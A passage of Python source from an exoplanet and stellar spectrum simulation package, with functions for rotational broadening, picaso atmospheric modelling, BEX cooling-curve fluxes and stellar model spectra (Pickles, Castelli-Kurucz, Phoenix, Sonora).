int(r*ntheta) where r<1\n        dif : the differential rotation coefficient, applied according to the law\n        Omeg(th)/Omeg(eq) = (1 - dif/2 - (dif/2) cos(2 th)). Dif = .675 nicely reproduces the law \n        proposed by Smith, 1994, A&A, Vol. 287, p. 523-534, to unify WTTS and CTTS. Dif = .23 is \n        similar to observed solar differential rotation. Note: the th in the above expression is \n        the stellar co-latitude, not the same as the integration variable used below. This is a \n        disk integration routine.\n\n\n        Returns\n        -------\n        spec_broadened : rotationally broadened spectrum\n        '''\n\n        ns = np.copy(self.spectrum)*0.0\n        tarea = 0.0\n        dr = 1./nr\n        for j in range(0, nr):\n            r = dr/2.0 + j*dr\n            area = ((r + dr/2.0)**2 - (r - dr/2.0)**2)/int(ntheta*r) * (1.0 - ld + ld*np.cos(np.arcsin(r)))\n            for k in range(0,int(ntheta*r)):\n                th = np.pi/int(ntheta*r) + k * 2.0*np.pi/int(ntheta*r)\n                if dif != 0:\n                    vl = vsini.to(u.km/u.s).value * r * np.sin(th) * (1.0 - dif/2.0 - dif/2.0*np.cos(2.0*np.arccos(r*np.cos(th))))\n                    ns += area * np.interp(self.wvs+ self.wvs*vl/2.9979e5, self.wvs, self.spectrum)\n                    tarea += area\n                else:\n                    vl = r * vsini.to(u.km/u.s).value * np.sin(th)\n                    ns += area * np.interp(self.wvs + self.wvs*vl/2.9979e5, self.wvs, self.spectrum)\n                    tarea += area\n          \n        return ns/tarea\n\n    def rotationally_broaden_pyasl(self,ld,vsini):\n        '''\n        A function to rotationally broaden a spectrum\n        '''\n        from PyAstronomy import pyasl\n        # import pdb;pdb.set_trace()\n        spec_broadened = pyasl.fastRotBroad(self.wvs.to(u.AA).value,self.spectrum.value,ld,vsini.to(u.km/u.s).value)*self.spectrum.unit\n        self.spectrum = spec_broadened\n\n        return spec_broadened\n\ntry: \n    import picaso\n    from picaso import justdoit as jdi\nexcept ImportError:\n    print(\"Tried importing picaso, but couldn't do it\")\n\n\npsisim_path = os.path.dirname(psisim.__file__)\n\nbex_labels = ['Age', 'Mass', 'Radius', 'Luminosity', 'Teff', 'Logg', 'NACOJ', 'NACOH', 'NACOKs', 'NACOLp', 'NACOMp', 'CousinsR', 'CousinsI', 'WISE1', 'WISE2', 'WISE3', 'WISE4', \n            'F115W', 'F150W', 'F200W', 'F277W', 'F356W', 'F444W', 'F560W', 'F770W', 'F1000W', 'F1280W', 'F1500W', 'F1800W', 'F2100W', 'F2550W', 'VISIRB87', 'VISIRSiC', \n            'SPHEREY', 'SPHEREJ', 'SPHEREH', 'SPHEREKs', 'SPHEREJ2', 'SPHEREJ3', 'SPHEREH2', 'SPHEREH3', 'SPHEREK1', 'SPHEREK2']\n# initalize on demand when needed\nbex_cloudy_mh0 = {}\nbex_clear_mh0 = {}\n\n\ndef load_picaso_opacity(dbname=None,wave_range=None):\n    '''\n    A function that returns a picaso opacityclass from justdoit.opannection\n    \n    Inputs:\n    dbname  - string filename, with path, for .db opacity file to load\n              default None: will use the default file that comes with picaso distro\n    wave_range - 2 element float list with wavelength bounds for which to run models\n                 default None: will pull the entire grid from the opacity file   \n    \n    Returns:\n    opacity - Opacity class from justdoit.opannection\n    '''\n    # Not needed anymore but kept here for reference as way to get picaso path\n    # opacity_folder = os.path.join(os.path.dirname(picaso.__file__), '..', 'reference', 'opacities')\n    \n    # Alternate assuming user has set environment variable correctly\n    # opacity_folder = os.path.join(os.getenv(\"picaso_refdata\"),'opacities')\n    \n    # dbname = os.path.join(opacity_folder,dbname)\n    print(\"Loading an opacity file from {}\".format(dbname)) \n    return jdi.opannection(filename_db=dbname,wave_range=wave_range)\n\n\ndef generate_picaso_inputs(planet_table_entry, planet_type, opacity,clouds=True, planet_mh=1, stellar_mh=0.0122, planet_teq=None, verbose=False):\n    '''\n    A function that returns the required inputs for picaso, \n    given a row from a universe planet table\n\n    Inputs:\n    planet_table_entry - a single row, corresponding to a single planet\n                            from a universe planet table [astropy table (or maybe astropy row)]\n    planet_type - either \"Terrestrial\", \"Ice\", or \"Gas\" [string]\n    clouds - cloud parameters. For now, only accept True/False to turn clouds on and off\n    planet_mh - planetary metalicity. 1 = 1x Solar\n    stellar_mh - stellar metalicity\n    planet_teq - (float) planet's equilibrium temperature. If None, esimate using blackbody equilibrium temperature\n\n    Outputs: \n    (as a tuple: params, opacity)\n      params - picaso.justdoit.inputs class\n      opacity - Opacity class from justdoit.opannection\n    \n    NOTE: this assumes a planet phase of 0. You can change the phase in the resulting params object afterwards.\n    '''\n    \n    planet_type = planet_type.lower()\n    \n    if (planet_type not in [\"gas\"]) and verbose:\n        print(\"Only planet_type='Gas' spectra are currently implemented\")\n        print(\"Generating a Gas-like spectrum\")\n        planet_type = 'gas'\n\n    params = jdi.inputs()\n    params.approx(raman='none')\n\n    #-- Set phase angle.\n    # Note: non-0 phase in reflectance requires a different \n      # geometry so we'll deal with that in the simulate_spectrum() call\n    params.phase_angle(0)\n\n    #-- Define gravity; any astropy units available\n    pl_mass = planet_table_entry['PlanetMass']\n    pl_rad  = planet_table_entry['PlanetRadius']\n    pl_logg = planet_table_entry['PlanetLogg']\n    # NOTE: picaso gravity() won't use the \"gravity\" input if mass and radius are provided\n    params.gravity(gravity=pl_logg.value,gravity_unit=pl_logg.physical.unit,\n                   mass=pl_mass.value,mass_unit=pl_mass.unit,\n                   radius=pl_rad.value,radius_unit=pl_rad.unit)\n\n    #-- Define star properties\n    #The current stellar models do not like log g > 5, so we'll force it here for now. \n    star_logG = planet_table_entry['StarLogg'].to(u.dex(u.cm/ u.s**2)).value\n    if star_logG > 5.0:\n        star_logG = 5.0\n    #The current stellar models do not like Teff < 3500, so we'll force it here for now. \n    star_Teff = planet_table_entry['StarTeff'].to(u.K).value\n    if star_Teff < 3500:\n        star_Teff = 3500   \n    #define star\n      #opacity db, pysynphot database, temp, metallicity, logg\n    st_rad = planet_table_entry['StarRad']\n    pl_sma = planet_table_entry['SMA']\n    params.star(opacity, star_Teff, stellar_mh, star_logG,\n                radius=st_rad.value, radius_unit=st_rad.unit,\n                semi_major=pl_sma.value, semi_major_unit=pl_sma.unit) \n\n    #-- Define atmosphere PT profile, mixing ratios, and clouds\n    if planet_type == 'gas':\n        # PT from planetary equilibrium temperature\n        if planet_teq is None:\n            planet_teq = ((st_rad/pl_sma).decompose()**2 * star_Teff**4)**(1./4)\n        params.guillot_pt(planet_teq, 150, -0.5, -1)\n        # get chemistry via chemical equillibrium\n        params.channon_grid_high()\n\n        if clouds:\n            # may need to consider tweaking these for reflected light\n            params.clouds( g0=[0.9], w0=[0.99], opd=[0.5], p = [1e-3], dp=[5])\n    elif planet_type == 'terrestrial':\n        # TODO: add Terrestrial type\n        pass\n    elif planet_type == 'ice':\n        # TODO: add ice type\n        pass\n\n    return (params, opacity)\n\ndef simulate_spectrum(planet_table_entry,wvs,R,atmospheric_parameters,package=\"picaso\"):\n    '''\n    Simuluate a spectrum from a given package\n\n    Inputs: \n    planet_table_entry - a single row, corresponding to a single planet\n                            from a universe planet table [astropy table (or maybe astropy row)]\n    wvs\t\t\t\t   - (astropy Quantity array - micron) a list of wavelengths to consider\n    R\t\t\t\t   - the resolving power\n    atmospheric parameters - To be defined\n\n    Outputs:\n    F_lambda\n    \n    \n    Notes:\n    - \"picaso\" mode returns reflected spec [contrast], thermal spec [ph/s/cm2/A], and the raw picaso dataframe\n    '''\n    if package.lower() == \"picaso\":\n\n        params, opacity = atmospheric_parameters\n        \n        # Make sure that picaso wavelengths are within requested wavelength range\n        op_wv = opacity.wave # this is identical to the model_wvs we compute below\n        if (wvs[0].value < op_wv.min()) or (wvs[-1].value > op_wv.max()):\n            rngs = (wvs[0].value,wvs[-1].value,op_wv.min(),op_wv.max())\n            err  = \"The requested wavelength range [%f, %f] is outside the range selected [%f, %f] \"%rngs\n            err += \"from the opacity model (%s)\"%opacity.db_filename\n        #    raise ValueError(err) \n            warnings.warn(err)    \n        \n        # non-0 phases require special geometry which takes longer to run.\n          # To improve runtime, we always run thermal with phase=0 and simple geom.\n          # and then for non-0 phase, we run reflected with the costly geometry\n        phase = planet_table_entry['Phase'].to(u.rad).value\n        if phase == 0:\n            # Perform the simple simulation since 0-phase allows simple geometry\n            df = params.spectrum(opacity,full_output=True,calculation='thermal+reflected')\n        else:\n            # Perform the thermal simulation as usual with simple geometry\n            df1 = params.spectrum(opacity,full_output=True,calculation='thermal')\n            # Apply the true phase and change geometry for the reflected simulation\n            params.phase_angle(phase, num_tangle=8, num_gangle=8)\n            df2 = params.spectrum(opacity,full_output=True,calculation='reflected')\n            # Combine the output dfs into one df to be returned\n            df = df1.copy(); df.update(df2)\n            df['full_output_therm'] = df1.pop('full_output')\n            df['full_output_ref'] = df2.pop('full_output')\n\n        # Extract what we need now\n        model_wnos = df['wavenumber']\n        fpfs_reflected = df['fpfs_reflected']\n        fp_thermal = df['thermal']\n\n        # Compute model wavelength sampling\n        model_wvs = 1./model_wnos * 1e4 *u.micron        \n        model_dwvs = np.abs(model_wvs - np.roll(model_wvs, 1))\n        model_dwvs[0] = model_dwvs[1]\n        model_R = model_wvs/model_dwvs\n        \n        # Make sure that model resolution is higher than requested resolution\n        if R > np.mean(model_R):\n            wrn = \"The requested resolution (%0.2f) is higher than the opacity model resolution (%0.2f).\"%(R,np.mean(model_R))\n            wrn += \" This is strongly discouraged as we'll be upsampling the spectrum.\"\n            warnings.warn(wrn)\n\n        # model_wvs is reversed so re-sort it and then extract requested wavelengths\n        argsort = np.argsort(model_wvs)\n        lowres_ref_spec = Spectrum(model_wvs[argsort], fpfs_reflected[argsort], np.mean(model_R))\n        lowres_therm_spec = Spectrum(model_wvs[argsort], fp_thermal[argsort], np.mean(model_R))\n        \n        fpfs_ref = lowres_ref_spec.downsample_spectrum(R, new_wvs=wvs)\n        fp_therm = lowres_therm_spec.downsample_spectrum(R, new_wvs=wvs)\n\n        highres_fp_reflected =  model_alb * (planet_table_entry['PlanetRadius']*u.earthRad.to(u.au)/planet_table_entry['SMA'])**2 # flux ratio relative to host star\n        highres_fp = highres_fp_reflected + fp_thermal\n        \n        # fp_therm comes in with units of ergs/s/cm^3, convert to ph/s/cm^2/Angstrom\n        fp_therm = fp_therm * u.erg/u.s/u.cm**2/u.cm\n        fp_therm = fp_therm.to(u.ph/u.s/u.cm**2/u.AA,equivalencies=u.spectral_density(wvs))\n\n        return fpfs_ref,fp_therm,df\n\n    elif package.lower() == \"picaso+pol\":\n        '''\n        This is just like picaso, but it adds a layer of polarization on top, \n        and returns a polarized intensity spectrum\n        Based on the peak polarization vs. albedo curve from Madhusudhan+2012. \n        I'm pretty sure this is based on Rayleigh scattering, and may not be valid \n        for all cloud types. \n        '''\n\n        # TODO: @Max, Dan updated this section to match the new picaso architecture,\n        #       following the last section, but I have not tested. You may want to check\n        #       if this works.\n        \n        params, opacity = atmospheric_parameters\n        \n        # Make sure that picaso wavelengths are within requested wavelength range\n        op_wv = opacity.wave # this is identical to the model_wvs we compute below\n        if (wvs[0].value < op_wv.min()) or (wvs[-1].value > op_wv.max()):\n            rngs = (wvs[0].value,wvs[-1].value,op_wv.min(),op_wv.max())\n            err  = \"The requested wavelength range [%f, %f] is outside the range selected [%f, %f] \"%rngs\n            err += \"from the opacity model (%s)\"%opacity.db_filename\n            raise ValueError(err) \n        \n        # Create spectrum and extract results\n        df = params.spectrum(opacity)\n        model_wnos = df['wavenumber']\n        model_alb = df['albedo']\n        \n        # Compute model wavelength sampling\n        model_wvs = 1./model_wnos * 1e4 *u.micron\n        model_dwvs = np.abs(model_wvs - np.roll(model_wvs, 1))\n        model_dwvs[0] = model_dwvs[1]\n        model_R = model_wvs/model_dwvs\n\n        highres_fpfs =  model_alb * (planet_table_entry['PlanetRadius'].to(u.au)/planet_table_entry['SMA'].to(u.au))**2 # flux ratio relative to host star\n\n        #Get the polarization vs. albedo curve from Madhusudhan+2012, Figure 5\n        albedo, peak_pol = np.loadtxt(os.path.dirname(psisim.__file__)+\"/data/polarization/PeakPol_vs_albedo_Madhusudhan2012.csv\",\n            delimiter=\",\",unpack=True)\n        #Interpolate the curve to the model apbleas\n        interp_peak_pol = np.interp(model_alb,albedo,peak_pol)\n\n        #Calculate polarized intensity, given the phase and albedo\n        planet_phase = planet_table_entry['Phase'].to(u.rad).value\n        rayleigh_curve = np.sin(planet_phase)**2/(1+np.cos(planet_phase)**2)\n        planet_polarization_fraction = interp_peak_pol*rayleigh_curve\n        highres_planet_polarized_intensity = highres_fpfs*planet_polarization_fraction\n\n        argsort = np.argsort(model_wvs)\n        spec = Spectrum(model_wvs[argsort], highres_fpfs[argsort], np.mean(model_R))\n        spec_pol = Spectrum(model_wvs[argsort], highres_planet_polarized_intensity[argsort], np.mean(model_R))\n\n        fpfs = spec.downsample_spectrum(R,new_wvs=wvs)\n        pol = spec_pol.downsample_spectrum(R,new_wvs=wvs)\n\n        # Make sure that model resolution is higher than requested resolution\n        if R > np.mean(model_R):\n            wrn = \"The requested resolution (%0.2f) is higher than the opacity model resolution (%0.2f).\"%(R,np.mean(model_R))\n            wrn += \" This is strongly discouraged as we'll be upsampling the spectrum.\"\n            warnings.warn(wrn)\n        \n        spec.spectrum = fp\n        spec_pol.spectrum = pol\n\n        return fpfs,pol\n\n    elif package.lower() == \"bex-cooling\":\n        age, band, cloudy = atmospheric_parameters # age in years, band is 'R', 'I', 'J', 'H', 'K', 'L', 'M', cloudy is True/False\n        \n        if len(bex_cloudy_mh0) == 0:\n            # need to load in models. first time using\n            load_bex_models()\n        \n        if cloudy:\n            bex_grid = bex_cloudy_mh0\n        else:\n            bex_grid = bex_clear_mh0\n\n        masses = np.array(list(bex_grid.keys()))\n        closest_indices = np.argsort(np.abs(masses - planet_table_entry['PlanetMass'].to(u.earthMass).value))\n        \n        mass1 = masses[closest_indices[0]]\n        mass2 = masses[closest_indices[1]]\n\n        curve1 = bex_grid[mass1]\n        curve2 = bex_grid[mass2]\n\n        if band == 'R':\n            bexlabel = 'CousinsR'\n            starlabel = 'StarRmag'\n        elif band == 'I':\n            bexlabel = 'CousinsI'\n            starlabel = 'StarImag'\n        elif band == 'J':\n            bexlabel = 'SPHEREJ'\n            starlabel = 'StarJmag'\n        elif band == 'H':\n            bexlabel = 'SPHEREH'\n            starlabel = 'StarHmag'\n        elif band == 'K':\n            bexlabel = 'SPHEREKs'\n            starlabel = 'StarKmag'\n        elif band == 'L':\n            bexlabel = 'NACOLp'\n            starlabel = 'StarKmag'\n        elif band == 'M':\n            bexlabel = 'NACOMp'\n            starlabel = 'StarKmag'\n        else:\n            raise ValueError(\"Band needs to be 'R', 'I', 'J', 'H', 'K', 'L', 'M'. Got {0}.\".format(band))\n\n        logage = np.log10(age)\n    \n        # interpolate in age and wavelength space, but extrapolate as necessary\n        fp1 = si.interp1d(curve1['Age'], curve1[bexlabel], bounds_error=False, fill_value=\"extrapolate\")(logage)\n        fp2 = si.interp1d(curve2['Age'], curve2[bexlabel], bounds_error=False, fill_value=\"extrapolate\")(logage)\n\n        # linear interpolate in log Mass, extrapoalte as necessary\n        fp = si.interp1d(np.log10([mass1, mass2]), [fp1, fp2], bounds_error=False, fill_value=\"extrapolate\")(np.log10(planet_table_entry['PlanetMass'].to(u.earthMass).value)) # magnitude\n\n        # correct for distance\n        fp = fp + 5 * np.log10(planet_table_entry['Distance'].to(u.pc).value/10)\n\n        fs = planet_table_entry[starlabel] # magnitude\n\n        fp = 10**(-(fp - fs)/2.5) # flux ratio of planet to star\n\n        # return as many array elements with save planet flux if multiple are requested (we don't have specetral information)\n        if not isinstance(wvs, (float,int)):\n            fp = np.ones(wvs.shape) * fp\n\n        return fp\n\n    elif package.lower() == \"blackbody\":\n        a_v = atmospheric_parameters # just albedo\n        pl_teff = ((1 - a_v)/4  * (planet_table_entry['StarRad'] / planet_table_entry['SMA']).decompose()**2 * planet_table_entry['StarTeff'].to(u.K).value**4)**(1./4)\n\n        nu = consts.c/(wvs) # freq\n        bb_arg_pl = (consts.h * nu/(consts.k_B * pl_teff * u.K)).decompose()\n        bb_arg_star = (consts.h * nu/(consts.k_B * planet_table_entry['StarTeff'].to(u.K))).decompose()\n\n        thermal_flux_ratio = (planet_table_entry['PlanetRadius']/planet_table_entry['StarRad']).decompose()**2 * np.expm1(bb_arg_star)/np.expm1(bb_arg_pl)\n        \n        #Lambertian? What is this equation - To verify later. \n        phi = (np.sin(planet_table_entry['Phase']) + (np.pi - planet_table_entry['Phase'].to(u.rad).value)*np.cos(planet_table_entry['Phase']))/np.pi\n        reflected_flux_ratio = phi * a_v / 4 * (planet_table_entry['PlanetRadius']/planet_table_entry['SMA']).decompose()**2\n\n        return thermal_flux_ratio + reflected_flux_ratio\n\ndef get_stellar_spectrum(planet_table_entry,wvs,R,model='Castelli-Kurucz',verbose=False,\n                        user_params = None,\n                        doppler_shift=False,broaden=False,delta_wv=None):\n    ''' \n    A function that returns the stellar spectrum for a given spectral type\n\n    Inputs: \n    planet_table_entry - An entry from a Universe Planet Table\n    wvs - The wavelengths at which you want the spectrum. Can be an array [microns]\n    R   - The spectral resolving power that you want [int or float]\n    Model - The stellar spectrum moodels that you want. [string]\n    delta_wv - The spectral resolution of a single pixel. To be used for doppler shifting\n    doppler_shift - Boolean, to apply a doppler shift or not\n    broaden - boolean, to broaden the spectrum or not. \n\n    Outputs:\n     spectrum - returns the stellar spectrum at the desired wavelengths \n                [photons/s/cm^2/A]\n    '''\n\n    if model == 'pickles':\n        # import pysynphot as ps\n        #Get the pickles spectrum in units of photons/s/cm^2/angstrom. \n        #Wavelength units are microns\n        sp = get_pickles_spectrum(planet_table_entry['StarSpT'],verbose=verbose)\n        \n        #pysynphot  Normalizes everthing to have Vmag = 0, so we'll scale the\n        #stellar spectrum by the Vmag\n        starVmag = planet_table_entry['StarVmag']\n        scaling_factor = 10**(starVmag/-2.5)\n        full_stellar_spectrum = sp.flux*scaling_factor\n\n        #If wvs is a float then make it a list for the for loop\n        if isinstance(wvs,float):\n            wvs = [wvs]\n\n        # Initialize Spectrum class\n        spec = Spectrum(sp.wave, full_stellar_spectrum, R) # This R is not correct until downsample spectrum is applied\n\n        #Now get the spectrum!\n        for wv in wvs: \n            #Wavelength sampling of the pickles models is at 5 angstrom\n            spec.R = wv/0.0005\n            #Down-sample the spectrum to the desired wavelength and interpolate\n            spec.downsample_spectrum(R,new_wvs=wvs)\n    \n    elif model == 'Castelli-Kurucz':\n        # For now we're assuming a metallicity of 0, because exosims doesn't\n        # provide anything different\n\n        #The current stellar models do not like log g > 5, so we'll force it here for now. \n        star_logG = planet_table_entry['StarLogg'].to(u.dex(u.cm/ u.s**2)).value\n        if star_logG > 5.0:\n            star_logG = 5.0\n        #The current stellar models do not like Teff < 3500, so we'll force it here for now. \n        star_Teff = planet_table_entry['StarTeff'].to(u.K).value\n        if star_Teff < 3500:\n            star_Teff = 3500\n\n        # Get the Castelli-Kurucz models  \n        sp = get_castelli_kurucz_spectrum(star_Teff, 0., star_logG)\n\n        # The flux normalization in pysynphot are all over the place, but it allows\n        # you to renormalize, so we will do that here. We'll normalize to the Vmag \n        # of the star, assuming Johnsons filters\n        sp_norm = sp.renorm(planet_table_entry['StarVmag'],'vegamag', ps.ObsBandpass('johnson,v'))\n\n        # we normally want to put this in the get_castelli_kurucz_spectrum() function but the above line doens't work if we change units\n        sp_norm.convert(\"Micron\")\n        sp_norm.convert(\"photlam\") #This is photons/s/cm^2/A\n\n        #Astropy units\n        sp_units = u.photon/u.s/(u.cm**2)/u.Angstrom\n        #If wvs is a float then make it a list for the for loop\n        if isinstance(wvs,float):\n            wvs = [wvs]\n\n        # Initialize Spectrum class\n        spec = Spectrum(sp_norm.wave, sp_norm.flux, R) # This R is not correct until downsample spectrum is applied\n\n        #Now get the spectrum!\n        for wv in wvs: \n            \n            #Get the wavelength sampling of the pysynphot sectrum\n            dwvs = sp_norm.wave - np.roll(sp_norm.wave, 1)\n            dwvs[0] = dwvs[1]\n            #Pick the index closest to our wavelength. \n            ind = np.argsort(np.abs((sp_norm.wave*u.micron-wv)))[0]\n            dwv = dwvs[ind]\n\n            spec.R = wv/dwv\n            #Down-sample the spectrum to the desired wavelength and interpolate\n            spec.downsample_spectrum(R,new_wvs=wvs) \n\n    elif model == 'Phoenix':\n        \n        path,star_filter,star_mag,filters,instrument_filter = user_params\n\n        available_filters = filters.names\n        if star_filter not in available_filters:\n            raise ValueError(\"Your stellar filter of {} is not a valid option. Please choose one of: {}\".format(star_filter,available_filters))\n\n        try: \n            star_z = planet_table_entry['StarZ']\n        except Exception as e: \n            print(e)\n            print(\"Some error in reading your star Z value, setting Z to zero\")\n            star_z = '-0.0'\n        \n        try: \n            star_alpha = planet_table_entry['StarAlpha']\n        except Exception as e:\n            print(e)\n            print(\"Some error in reading your star alpha value, setting alpha to zero\")\n            star_alpha ='0.0'\n\n        #Read in the model spectrum        \n        wave_u,spec_u = get_phoenix_spectrum(planet_table_entry['StarLogg'].to(u.dex(u.cm/ u.s**2)).value,planet_table_entry['StarTeff'].to(u.K).value,star_z,star_alpha,path=path)\n\n        # Initialize Spectrum class\n        spec = Spectrum(wave_u,spec_u,R) # This R is not correct until downsample spectrum is applied\n\n        spec_u = spec.scale_spectrum_to_vegamag(star_mag,star_filter,filters)\n        new_ABmag = get_obj_ABmag(wave_u,spec_u,instrument_filter,filters)\n        \n        #Get the wavelength sampling of the stellar spectrum\n        dwvs = wave_u - np.roll(wave_u, 1)\n        dwvs[0] = dwvs[1]\n\n        mean_R_in = np.mean(wave_u/dwvs)\n        spec.R = mean_R_in\n\n        if R < mean_R_in:\n            spec.downsample_spectrum(R,new_wvs=wvs)\n        else:\n            if verbose:\n                print(\"Your requested Resolving power is greater than or equal to the native model. We're not upsampling here, but we should.\")\n            spec.spectrum = np.interp(wvs,wave_u,spec_u)\n            spec.wvs = wvs\n\n        #Now get the spectrum at the wavelengths that we want\n        # stellar_spectrum = []\n        #If wvs is a float then make it a list for the for loop\n        # if isinstance(wvs,float):\n            # wvs = [wvs]\n        # for i,wv in enumerate(wvs):       \n        #     #Get the wavelength sampling of the pysynphot sectrum\n        #     dwvs = wave_u - np.roll(wave_u, 1)\n        #     dwvs[0] = dwvs[1]\n        #     #Pick the index closest to our wavelength. \n        #     ind = np.argsort(np.abs((wave_u-wv)))[0]\n        #     dwv = dwvs[ind]\n\n        #     R_in = wv/dwv\n        #     #Down-sample the spectrum to the desired wavelength\n        #     # import pdb; pdb.set_trace()\n        #     if R < R_in:\n        #         ds = downsample_spectrum(spec_u, R_in, R)\n        #     else: \n        #         if verbose:\n        #             print(\"Your requested Resolving power is higher than the native model, only interpolating between points here.\")\n        #         ds = spec_u\n\n        #     #Interpolate the spectrum to the wavelength we want\n        #     stellar_spectrum[i] = np.interp(wv,wave_u,ds)\n        #     # stellar_spectrum.append(si.interp1d(wave_u,ds)(wv))\n\n        spec.spectrum = spec.spectrum * spec_u.unit\n\n        #Now scasle the spectrum so that it has the appropriate vegamagnitude\n        #(with an internal AB mag)\n        \n        spec.scale_spectrum_to_ABmag(new_ABmag,instrument_filter,filters)\n\n    elif model == 'Sonora':\n        \n        path,star_filter,star_mag,filters,instrument_filter = user_params\n        \n        available_filters = filters.names\n        if star_filter not in available_filters:\n            raise ValueError(\"Your stellar filter of {} is not a valid option. Please choose one of: {}\".format(star_filter,available_filters))\n\n        #Read in the sonora spectrum\n        star_logG = planet_table_entry['StarLogg'].to(u.dex(u.cm/ u.s**2)).value\n        star_Teff = str(int(planet_table_entry['StarTeff'].to(u.K).value))\n        wave_u,spec_u = get_sonora_spectrum(star_logG,star_Teff,path=path)\n\n        # Initialize Spectrum class\n        spec = Spectrum(wave_u,spec_u,R)  # This R is not correct until downsample spectrum is applied\n        \n        spec_u = spec.scale_spectrum_to_vegamag(star_mag,star_filter,filters)\n        new_ABmag = get_obj_ABmag(wave_u,spec_u,instrument_filter,filters)\n\n        #Get the wavelength sampling of the stellar spectrum\n        dwvs = wave_u - np.roll(wave_u, 1)\n        dwvs[0] = dwvs[1]\n\n        mean_R_in = np.mean(wave_u/dwvs)\n        spec.R = mean_R_in\n\n        if R < mean_R_in:\n            ds = spec.downsample_spectrum(R,new_wvs=wvs)\n        else:\n            if verbose:\n                print(\"Your requested Resolving power is greater than or equal to the native model. We're not upsampling here, but we should.\")\n            spec.spectrum = np.interp(wvs,wave_u,spec_u)\n            spec.wvs = wvs\n        \n        #Now get the spectrum at the wavelengths that we want\n        # stellar_spectrum = np.zeros(np.shape(wvs))\n        #If wvs is a float then make it a list for the for loop\n        # if isinstance(wvs,float):\n            # wvs = [wvs]\n\n        # #This loop may be very slow for a hi-res spectrum....\n        # for i,wv in enumerate(wvs):       \n        #     #Get the wavelength sampling of the pysynphot sectrum\n        #     dwvs = wave_u - np.roll(wave_u, 1)\n        #     dwvs[0] = dwvs[1]\n        #     #Pick the index closest to our wavelength. \n        #     ind = np.argsort(np.abs((wave_u-wv)))[0]\n        #     dwv = dwvs[ind]\n\n        #     R_in = wv/dwv\n        #     #Down-sample the spectrum to the desired wavelength\n        #     # import pdb; pdb.set_trace()\n        #     if R < R_in:\n        #         ds = downsample_spectrum(spec_u, R_in, R)\n        #     else: \n        #         if verbose:\n        #             print(\"Your requested Resolving power is higher than the native model, only interpolating between points here.\")\n        #         ds = spec_u\n\n        #     #Interpolate the spectrum to the wavelength we want\n        #     stellar_spectrum[i] = np.interp(wv,wave_u,ds)\n        #     # stellar_spectrum.append(si.interp1d(wave_u,ds)(wv))\n\n        spec.spectrum = spec.spectrum * spec_u.unit\n        #Now scasle the spectrum so that it has the appropriate vegamagnitude\n        #(with an internal AB mag)\n        spec.scale_spectrum_to_ABmag(new_ABmag,instrument_filter,filters)\n\n    else:\n        if verbose:\n            print(\"We only support 'pickles', 'Castelli-Kurucz', 'Phoenix' and 'Sonora' models for now\")\n        return -1\n\n    ## Apply a doppler shift if you'd like.\n    if doppler_shift:\n        if delta_wv is not None:\n            if \"StarRadialVelocity\" in planet_table_entry.keys():\n                \n                spec.apply_doppler_shift(delta_wv,planet_table_entry['StarRadialVelocity'])\n\n            else:\n                raise KeyError(\"The StarRadialVelocity key is missing from your target table. It is needed for a doppler shift. \")\n        else: \n            print(\"You need to pass a delta_wv keyword to get_stellar_spectrum to apply a doppler shift\")\n    \n    # import pdb;pdb.set_trace()\n    ## Rotationally broaden if you'd like\n    if broaden:\n        if (\"StarVsini\" in planet_table_entry.keys()) and (\"StarLimbDarkening\" in planet_table_entry.keys()):\n            spec.rotationally_broaden(planet_table_entry['StarLimbDarkening'],planet_table_entry['StarVsini'])\n        else:\n            raise KeyError(\"The StarVsini key is missing from your target table. It is needed for a doppler shift. \")\n\n    return spec\n\ndef get_pickles_spectrum(spt,verbose=False):\n    '''\n    A function that retuns a pysynphot pickles spectrum for a given spectral type\n    '''\n\n    #Read in the pickles master list. \n    pickles_dir = os.environ['PYSYN_CDBS']+\"grid/pickles/dat_uvk/\"\n    pickles_filename = pickles_dir+\"pickles_uk.fits\"\n    pickles_table = np.array(fits.open(pickles_filename)[1].data)\n    pickles_filenames = [x[0].decode().replace(\" \",\"\") for x in pickles_table]\n    pickles_spts = [x[1].decode().replace(\" \",\"\") for x in pickles_table]\n    \n    #The spectral types output by EXOSIMS are sometimes annoying\n    spt = spt.replace(\" \",\"\").split(\"/\")[-1]\n\n    #Sometimes there are fractional spectral types. Rounding to nearest integer\n    spt_split = spt.split(\".\")\n    if np.size(spt_split) > 1: \n        spt = spt_split[0] + spt_split[1][1:]\n\n    #Get the index of the relevant pickles spectrum filename\n    try: \n        ind = pickles_spts.index(spt)\n    except: \n        if verbose:\n            print(\"Couldn't match spectral type {} to the pickles library\".format(spt))\n            print(\"Assuming 'G0V'\")\n        ind = pickles_spts.index('G0V')\n\n    sp = ps.FileSpectrum(pickles_dir+pickles_filenames[ind]+\".fits\")\n    sp.convert(\"Micron\")\n    sp.convert(\"photlam\")\n    \n    return sp\n\ndef get_castelli_kurucz_spectrum(teff,metallicity,logg):\n    '''\n    A function that returns the pysynphot spectrum given the parameters\n    based on the Castelli-Kurucz Atlas\n\n    Retuns the pysynphot spectrum object with wavelength units of microns\n    and flux units of photons/s/cm^2/Angstrom\n    '''\n    sp = ps.Icat('ck04models',teff,metallicity,logg)\n\n    return sp\n\ndef get_phoenix_spectrum(star_logG,star_Teff,star_z,star_alpha,path='/scr3/dmawet/ETC/'):\n    '''\n    Read in a pheonix spectrum\n    '''\n    #Read in your logG and make sure it's valid\n    available_logGs = [6.00,5.50,5.00,4.50,4.00,3.50,3.00,2.50,2.00,1.50,1.00,0.50]\n    if star_logG not in available_logGs:\n        raise ValueError(\"Your star has an invalid logG for Phoenix models. Please pick from {}\".format(available_logGs))\n    \n    #Read in your t_Eff and make sure it's valid\n    available_teffs = np.hstack([np.arange(2300,7000,100),np.arange(7000,12200,200)])\n    star_Teff = int(star_Teff)\n    if star_Teff not in available_teffs:\n        raise ValueError(\"Your star has an invalid T_eff for Phoenix models. Please pick from {}\".format(available_teffs))\n    \n    #Read in your metalicity and make sure it's valid\n    available_Z = ['-4.0','-3.0','-2.0','-1.5','-1.0','-0.5','-0.0','+0.5','+1.0']\n    if star_z not in available_Z:\n        raise ValueError(\"Your star has an invalid Z for Phoenix models\")\n\n    #Read in your alpha value and make sure it's valid\n    available_alpha = ['-0.20','0.0','+0.20','+0.40','+0.60','+0.80','+1.00','+1.20']\n    if star_alpha not in available_alpha:\n        raise ValueError(\"Your star has an invalid alpha for Phoenix models\")\n\n    #Get the right directory and file path\n    if star_alpha =='0.0':\n        dir_host_model = \"Z\"+str(star_z)\n        # host_filename = 'lte'+str(star_Teff).zfill(5)+'-'+str(star_logG)+str(star_z)+'.PHOENIX-ACES-AGSS-COND-2011-HiRes.fits'\n        host_filename = 